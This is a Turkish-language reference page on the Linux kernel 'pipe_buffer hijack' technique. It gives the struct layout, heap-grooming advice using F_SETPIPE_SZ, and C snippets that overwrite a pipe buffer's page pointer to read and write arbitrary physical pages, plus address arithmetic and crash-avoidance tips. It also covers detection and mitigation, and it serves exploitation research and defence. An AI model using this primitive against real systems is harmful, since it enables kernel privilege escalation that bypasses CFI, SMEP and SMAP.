Skip to content

pipe_buffer hijack

Bir struct pipe_buffer'ın page pointer'ını corrupt et ki sıradan pipe read()/write() attacker'ın seçtiği bir struct page üzerinde çalışsın — data-only, full-page bir kernel read/write primitive'i.

Mechanism

Note

Bir pipe, her biri bir struct page *page artı o page içine bir offset/len penceresi reference eden bir struct pipe_buffer entry'leri ring'iyle desteklenir. Pipe I/O o pointer cinsinden tanımlanır: write() user byte'larını page[offset..]'e kopyalar ve read() onları geri kopyalar. Kernel, page'in gerçekten pipe için allocate ettiği bir page'i gösterip göstermediğini asla yeniden doğrulamaz. Dolayısıyla bir attacker page field'ını corrupt edebilirse — buffer array'ine bir slab out-of-bounds write üzerinden ya da array'i attacker kontrolünde yeniden allocate eden bir use-after-free üzerinden — sonraki pipe I/O herhangi bir struct page'e, yani sistemdeki herhangi bir physical page'e yönlendirilir. Hiçbir function pointer hijack edilmez ve beklenmedik bir yerde kod çalıştırılmaz; bu saf bir data-only primitive'tir, CFI/SMEP/SMAP'ten bu yüzden sağ çıkar.

64-bit kernel'de 40-byte'lık object:

struct pipe_buffer {
    struct page *page;                      /* off 0x00  <-- corrupt for page R/W */
    unsigned int offset;                    /* off 0x08 */
    unsigned int len;                       /* off 0x0c */
    const struct pipe_buf_operations *ops;  /* off 0x10  (anon_pipe_buf_ops) */
    unsigned int flags;                     /* off 0x18 */
    unsigned long private;                  /* off 0x20 */
};

Varsayılan bir pipe'ın 16 buffer'ı vardır: 16 * 40 = 640 byte → array kmalloc-1k'ya düşer. fcntl(fd, F_SETPIPE_SZ, n*PAGE_SIZE) ring boyutunu bir power-of-two'ya yukarı yuvarlar, bu da array'i farklı bir cache'e taşır ve cross-cache grooming için onu seçilen bir kmalloc bucket'ına düşürmenin standart bir yoludur.

Walkthrough

Bir pipe write önce taze bir page allocate eder ve onu aktif buffer'da saklar:

/* simplified anon_pipe write path */
struct page *page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
buf        = &pipe->bufs[head & mask];
buf->page  = page;
buf->ops   = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len    = 0;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);

page'i corrupt ettikten (ve istediğin bölgeyi kapsamak için offset/len'i ayarladıktan) sonra, aynı pipe FD'si arbitrary-page bir pencere haline gelir:

int pfd[2];
pipe(pfd);
write(pfd[1], scratch, 0x10);        /* materialise a pipe_buffer with a real page  */

/* ... OOB write / UAF replaces pbuf->page with the target struct page ... */
pbuf->page   = target_struct_page;   /* any page in the system                      */
pbuf->offset = off_within_page;      /* byte window start                           */
pbuf->len    = nbytes;               /* bytes available to read()                   */

read(pfd[0], leak, nbytes);          /* leaks the target physical page              */
write(pfd[1], data, nbytes);         /* writes the target physical page             */

Bir heap object'i hedeflemek için onun virtual address'ini vmemmap array'indeki struct page'inin address'ine çevirmen gerekir (her struct page 0x40 byte'tır):

virt → struct page (vmemmap) aritmetiği

/* page index = phys >> 12 ; struct page = vmemmap_base + index * sizeof(struct page) */
page = vmemmap_base
     + (((target_virt & 0xffffffff) >> 12) * 0x40)
     + ((0x100000000ULL >> 12) * 0x40);
0x40 scale factor'ü sizeof(struct page)'tir; >> 12 bir (physmap-relative) address'i bir page-frame number'a çevirir. Bunun yerine kernel code page'lerini hedeflemek, randomize edilmiş physical load base'i CONFIG_PHYSICAL_ALIGN'ın katlarında brute-force etmeyi gerektirir.

Warning

page'ini yönlendirdiğin bir pipe'ı kapatmak target page'i buddy allocator'a döndürür (anon_pipe_buf_release, page'in gösterdiği şeye dair bir ref'i düşürür) ve ilgisiz kernel memory'sini corrupt eder. close()'tan önce orijinal page'i geri yükle ya da pipe'ı asla kapatma.

Detection

Yönlendirilen page, pipe'ın asla sahip olmadığı bir memory için bir struct page olabilir; cleanup'ta refcount underflow / bad page state oops'u ya da page_owner / CONFIG_DEBUG_VM tracking'i abuse'u yüzeye çıkarabilir. Heap grooming'den önce gelen beklenmedik büyük ya da tekrarlı F_SETPIPE_SZ istekleri davranışsal bir sinyaldir.

Mitigation

Primitive'in kendisi için dedike bir mitigation yoktur — savunma, başlangıçtaki pipe_buffer corruption'ını engellemektir: slab freelist hardening (CONFIG_SLAB_FREELIST_HARDENED / RANDOM), cache isolation ve cross-cache'e dirençli allocator'lar. Cross-cache reuse'u tespit eden hardened allocator'lar (bkz. cross-cache-attack) overwrite'ı tohumlayan OOB/UAF'i düşürmenin çıtasını yükseltir.

References